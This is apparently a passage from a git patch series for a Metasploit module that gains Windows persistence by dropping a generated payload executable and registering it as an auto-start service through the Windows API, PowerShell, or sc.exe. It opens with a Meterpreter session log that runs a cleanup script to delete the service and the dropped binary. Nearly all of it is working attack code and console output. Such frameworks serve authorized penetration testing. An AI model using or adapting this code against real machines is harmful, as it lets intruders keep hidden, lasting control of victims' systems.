/root/.msf4/logs/persistence/WIN10PROLICENSE_20251105.3203/WIN10PROLICENSE_20251105.3203.rc +[*] Processing /root/.msf4/logs/persistence/WIN10PROLICENSE_20251105.3203/WIN10PROLICENSE_20251105.3203.rc for ERB directives. +resource (/root/.msf4/logs/persistence/WIN10PROLICENSE_20251105.3203/WIN10PROLICENSE_20251105.3203.rc)> rm "C:\\Users\\windows\\AppData\\Local\\Temp\\xuGMR.exe" +resource (/root/.msf4/logs/persistence/WIN10PROLICENSE_20251105.3203/WIN10PROLICENSE_20251105.3203.rc)> execute -H -f sc.exe -a "stop NzbjSkwfZrk" +Process 3448 created. +resource (/root/.msf4/logs/persistence/WIN10PROLICENSE_20251105.3203/WIN10PROLICENSE_20251105.3203.rc)> execute -H -f sc.exe -a "delete NzbjSkwfZrk" +Process 9020 created. +meterpreter > exit +[*] Shutting down session: 1 ``` diff --git a/modules/exploits/windows/persistence/service.rb b/modules/exploits/windows/persistence/service.rb index 1fa818b2cc9ec..df1e7123bf690 100644 --- a/modules/exploits/windows/persistence/service.rb +++ b/modules/exploits/windows/persistence/service.rb @@ -60,11 +60,6 @@ def initialize(info = {}) OptString.new('SERVICE_NAME', [false, 'The name of service. Random string as default.' ]), OptString.new('SERVICE_DISPLAY_NAME', [false, 'The display name of service. Random string as default.']), OptString.new('SERVICE_DESCRIPTION', [false, 'The description of service. Random string as default.' ]), - ] - ) - - register_advanced_options( - [ OptEnum.new('METHOD', [false, 'Which method to register and start the service', 'Auto', ['Auto', 'API', 'Powershell', 'sc.exe']]), ] ) @@ -97,14 +92,26 @@ def install_persistence rexename << '.exe' unless rexename.end_with?('.exe') vprint_status('Compiling payload') - dest_pathname = writable_dir + '\\' + rexename + @dest_pathname = writable_dir + '\\' + rexename exe = generate_payload_exe_service({ servicename: @service_name, arch: payload.arch[0] }) - write_file(dest_pathname, exe) - print_good("Payload written to #{dest_pathname}") + write_file(@dest_pathname, exe) + print_good("Payload written to #{@dest_pathname}") - install_service(dest_pathname) + success = false + if datastore['METHOD'] == 'API' || datastore['METHOD'] == 'Auto' + vprint_status('Attempting API method') + success = api_service + end + if (datastore['METHOD'] == 'Powershell' || datastore['METHOD'] == 'Auto' && !success) && have_powershell? + vprint_status('Attempting Powershell method') + success = powershell_service + end + if datastore['METHOD'] == 'sc.exe' || datastore['METHOD'] == 'Auto' && !success + vprint_status('Attempting sc.exe method') + sc_service + end - @clean_up_rc << "rm \"#{dest_pathname.gsub('\\', '\\\\\\\\')}\"\n" + @clean_up_rc << "rm \"#{@dest_pathname.gsub('\\', '\\\\\\\\')}\"\n" @clean_up_rc << "execute -H -f sc.exe -a \"stop #{@service_name}\"\n" @clean_up_rc << "execute -H -f sc.exe -a \"delete #{@service_name}\"\n" end @@ -113,37 +120,49 @@ def powershell_service service_builder = "New-Service -Name '#{@service_name}' " service_builder << "-DisplayName '#{@service_dname}' " service_builder << "-Description '#{@service_description}' " - service_builder << "-BinaryPathName '#{path}' " + service_builder << "-BinaryPathName '#{@dest_pathname}' " service_builder << '-StartupType Automatic' - vprint_status(cmd_exec("powershell -NoProfile -Command \"#{service_builder};\"")) - vprint_status(cmd_exec("powershell -NoProfile -Command \"Start-Service '#{@service_name}'\"")) + vprint_status("Install service: #{@service_dname} (#{@service_name})") + resp = cmd_exec("powershell -NoProfile -Command \"#{service_builder};\"") + return false if resp.include?('Access is denied') + return false unless resp.include?('Stopped') + + vprint_status("Service install response: #{resp}") + vprint_status('Starting service') + resp = cmd_exec("powershell -NoProfile -Command \"Start-Service '#{@service_name}'\"") + vprint_status("Service start response: #{resp}") + true end def sc_service sc_cmd = "sc.exe create #{@service_name} " - sc_cmd << "binPath= \"#{path}\" " + sc_cmd << "binPath= \"#{@dest_pathname}\" " sc_cmd << 'start= auto ' sc_cmd << "DisplayName= \"#{@service_dname}\"" - vprint_status(cmd_exec(sc_cmd)) + vprint_status("Install service: #{@service_dname} (#{@service_name})") + resp = cmd_exec(sc_cmd) + return false if resp.include?('FAILED') + + vprint_status("Service install response: #{resp}") vprint_status(cmd_exec("sc.exe description #{@service_name} \"#{@service_description}\"")) - vprint_status(cmd_exec("sc.exe start \"#{@service_name}\"")) + vprint_status('Starting service') + resp = cmd_exec("sc.exe start \"#{@service_name}\"") + vprint_status("Service start response: #{resp}") + true end def api_service - print_status(' Install service: ' + service_create(@service_name, - { - display: @service_dname, - path: dest_pathname - }).to_s) - vprint_status(' Start service: ' + service_start(@service_name)) - end - - def install_service(path) - print_status("Creating service #{@service_name}") - if have_powershell? && datastore['METHOD'] == 'Powershell' - powershell_service - else - sc_service - end + vprint_status("Install service: #{@service_dname} (#{@service_name})") + resp = service_create(@service_name, + { + display: @service_dname, + path: @dest_pathname + }) + return false unless resp == 0 + + vprint_status("Service install code: #{resp}") + vprint_status('Starting service') + vprint_status("Service start code: #{service_start(@service_name)}") + true end end From f7598a870d1d12d43d92c9f0fcc2f2d558a81c25 Mon Sep 17 00:00:00 2001 From: h00die Date: Wed, 5 Nov 2025 16:38:46 -0500 Subject: [PATCH 7/7] rework windows service persistence --- modules/exploits/windows/persistence/service.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/windows/persistence/service.rb b/modules/exploits/windows/persistence/service.rb index df1e7123bf690..dadd8b9647ebd 100644 --- a/modules/exploits/windows/persistence/service.rb +++ b/modules/exploits/windows/persistence/service.rb @@ -117,12 +117,12 @@ def install_persistence end def powershell_service + vprint_status("Install service: #{@service_dname} (#{@service_name})") service_builder = "New-Service -Name '#{@service_name}' " service_builder << "-DisplayName '#{@service_dname}' " service_builder << "-Description '#{@service_description}' " service_builder << "-BinaryPathName '#{@dest_pathname}' " service_builder << '-StartupType Automatic' - vprint_status("Install service: #{@service_dname} (#{@service_name})") resp = cmd_exec("powershell -NoProfile -Command \"#{service_builder};\"") return false if resp.include?('Access is denied') return false unless resp.include?('Stopped') @@ -135,11 +135,11 @@ def powershell_service end def sc_service + vprint_status("Install service: #{@service_dname} (#{@service_name})") sc_cmd = "sc.exe create #{@service_name} " sc_cmd << "binPath= \"#{@dest_pathname}\" " sc_cmd << 'start= auto ' sc_cmd << "DisplayName= \"#{@service_dname}\"" - vprint_status("Install service: #{@service_dname} (#{@service_name})") resp = cmd_exec(sc_cmd) return false if resp.include?('FAILED')